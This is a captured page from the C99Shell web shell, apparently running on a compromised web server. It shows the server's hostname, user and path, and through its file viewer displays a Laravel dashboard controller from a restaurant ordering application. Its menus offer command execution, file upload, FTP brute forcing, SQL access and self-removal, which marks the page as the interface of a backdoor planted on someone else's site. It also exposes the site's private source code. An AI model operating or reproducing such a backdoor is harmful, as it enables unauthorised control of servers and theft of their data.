!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DashboardController.php (3.2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\CallWaiter;
use 
App\Models\EmailTemplate;
use 
App\Models\Item;
use 
App\Models\Order;
use 
App\Models\Restaurant;
use 
App\Models\UserPlan;
use 
Illuminate\Http\Request;

class 
DashboardController extends Controller
{
    public function 
index(){
        
$user=auth()->user();
        if(!
$userabort(404);

        if(
$user->type=='customer')
        {
            return 
redirect()->route('order.index');
        }

        if(
$user->type=='admin'){
            
$data['countTotalIncome']=UserPlan::where('status','approved')->sum('cost');
            
$data['countRestaurant']=Restaurant::all('id')->count();
            
$data['countPendingOrder']=Order::where('status','pending')->count();
            
$data['pendingOrders']=Order::where('status','pending')->orderBy('created_at','desc')->limit(10)->get();
            
$data['countItem']=Item::all()->count();
        }else{
            
$data['countRestaurant']=$user->restaurants()->count();

            
$restaurantIds=$user->restaurants()->pluck('id');
            
$data['countTotalIncome']=Order::whereIn('restaurant_id',$restaurantIds)->where('payment_status','paid')->sum('total_price');
            
$data['countPendingOrder']=Order::whereIn('restaurant_id',$restaurantIds)->where('status','pending')->count();
            
$data['pendingOrders']=Order::whereIn('restaurant_id',$restaurantIds)->where('status','pending')->orderBy('created_at','desc')->limit(10)->get();
            
$data['countItem']=$user->items()->count();

            
$restIds $user->restaurants()->pluck('id');
            
$data['call_waiters'] = CallWaiter::whereIn('restaurant_id',$restIds)->orderBy('created_at''desc')->get();
        }

        
$data['countPendingPlan']=UserPlan::where('status','pending')->count();
        
$data['PendingPlans']=UserPlan::where('status','pending')->orderBy('created_at','desc')->limit(10)->get();


        
$availableSettings=[];
        
$pgs=json_decode(get_settings('payment_gateway'));
        if(isset(
$pgs) && !$pgs->paypal_client_id){ $availableSettings[]=trans("layout.need_to_configure_paypal_api");};
        if(isset(
$pgs) && !$pgs->stripe_publish_key){ $availableSettings[]=trans("layout.need_to_configure_stripe_api");};

        
$ss=json_decode(get_settings('site_setting'));
        if(isset(
$ss) && !$ss->favicon){ $availableSettings[]=trans("layout.need_to_upload_favicon");};
        if(isset(
$ss) && !$ss->logo){ $availableSettings[]=trans("layout.need_to_upload_logo");};

        
$es=json_decode(get_settings('email_setting'));
        if(isset(
$es) && !$es->host){ $availableSettings[]=trans("layout.need_to_configure_email_settings");};

        
$et=EmailTemplate::whereIn('type',['registration','forget_password'])->get();
        if(
$et->count() <=0){ $availableSettings[]=trans("layout.need_to_configure_email_template_settings__at_least_registration_forget_password");};

        
$data['available_setting']=$availableSettings;


        
$data['userPlan'] = isset($user->current_plans[0])?$user->current_plans[0]:'';
        
$data['previous_plan']=$user->user_plans()->where('is_current','yes')->first();
        return 
view('dashboard.index',$data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--